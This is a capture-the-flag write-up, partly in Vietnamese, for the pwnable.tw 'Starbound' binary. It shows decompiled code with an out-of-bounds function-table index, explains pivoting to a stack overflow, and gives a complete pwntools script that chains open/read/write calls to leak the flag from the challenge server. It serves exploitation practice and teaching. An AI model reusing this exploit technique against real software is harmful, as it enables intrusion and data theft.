pwnable.tw

Starbound

March 13, 2026 Easy

Recon

Mitigation

$ file starbound
starbound: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=5a960d92ab1e8594d377bd96eb6ea49980f412a9, not stripped
$ pwn checksec starbound
[*] '/home/hungnt/pwnable.tw/starbound/starbound'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8046000)
    RUNPATH:  b'.'
    FORTIFY:  Enabled

Solve

Lợi dụng index OOB khi pick command:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int cmd_index; // eax
  char buf[256]; // [esp+10h] [ebp-104h] BYREF

  init();
  while ( 1 )
  {
    alarm(0x3Cu);
    ((void (*)(void))Commands[10])();           // main menu
    if ( !read_input(buf, 0x100u) )
      break;
    cmd_index = strtol(buf, 0, 10);
    if ( !cmd_index )                           // out of bound
      break;
    ((void (*)(void))Commands[cmd_index])();
  }
  do_bye();
  return 0;
}

Để pick vào nơi trên bss chứa địa chỉ main+48 (bằng cách set name trong settings):

   0x804a635 <main+48>                         mov    dword ptr [esp], ebx
   0x804a638 <main+51>                         call   readn                       <readn>

Thế là có buffer overflow trên stack để ghi đè return address. Lặp lại 3 lần để ORW flag là xong.

Script

#!/usr/bin/env python3
from pwn import *
import shutil
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda l, c: c * l
z = lambda l: l * b'\0'
A = lambda l: l * b'A'

e = context.binary = ELF('./starbound', checksec=False)

TERMINAL = 0
USE_PTY = False
GDB_ATTACH_DELAY = 1
ALLOW_MEM = 0

_wsl_distro = os.environ.get("WSL_DISTRO_NAME", "Ubuntu")
terms = {
    1: ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"],
    2: ["tmux", "split-window", "-h"],
    3: ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe",
        "-w", "0", "split-pane", "-V", "-s", "0.5",
        "wsl.exe", "-d", _wsl_distro, "bash", "-c"],
}

if TERMINAL == 0:
    if shutil.which("tilix"):
        context.terminal = terms[1]
    elif os.path.exists("/proc/version") and "microsoft" in open("/proc/version").read().lower():
        context.terminal = terms[3]
    elif shutil.which("tmux"):
        context.terminal = terms[2]
    else:
        raise ValueError("Auto-detect failed: none of tilix, wsl2, tmux found")
elif TERMINAL in terms:
    context.terminal = terms[TERMINAL]
else:
    raise ValueError(f"Unknown terminal: {TERMINAL}")

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
# b *0x0804A65D
b *0x0804A673
continue
'''

def attach(p):
    if args.GDB:
        gdb.attach(p, gdbscript=gdbscript)
        sleep(GDB_ATTACH_DELAY)

def _mem_limit():
    if ALLOW_MEM > 0:
        import resource
        limit = int(ALLOW_MEM * 1024 ** 3)
        resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

def conn():
    if args.LOCAL:
        if USE_PTY:
            p = process([e.path], stdin=PTY, stdout=PTY, stderr=PTY, preexec_fn=_mem_limit)
        else:
            p = process([e.path], preexec_fn=_mem_limit)
        sleep(0.25)
        attach(p)
        return p
    else:
        host = "chall.pwnable.tw"
        port = 10202
        return remote(host, port)

def cmd(index):
    slan(p, b'>', index)

def set_name_return(name):
    cmd(6)
    cmd(2)
    sla(p, b'name', name)
    cmd(1)

attempt = 0
while True:
    attempt += 1
    print("\n----------> Attempt", attempt)
    
    p = conn()

    main_48 = 0x0804A635
    name_addr = 0x80580d0
    path = name_addr + 0x4 + 0x20

    set_name_return(flat(
        main_48,
        A(0x20),
        b'/home/starbound/flag'
    ))

    cmd(-33)
    sleep(0.5)
    sl(p, flat(
        A(0x10c),
        e.plt['open'],
        e.symbols['main'], # ret2main
        path, 0, 0
    ))
    
    set_name_return(p64(main_48))

    cmd(-33)
    sleep(0.5)
    sl(p, flat(
        A(0x10c + 0x8),
        e.plt['read'],
        e.symbols['main'],
        3, path, 0x50
    ))

    set_name_return(p64(main_48))

    cmd(-33)
    sleep(0.5)
    sl(p, flat(
        A(0x10c),
        e.plt['write'],
        e.symbols['main'],
        1, path, 0x50
    ))

    print(ra(p, 2))
    p.close()
    break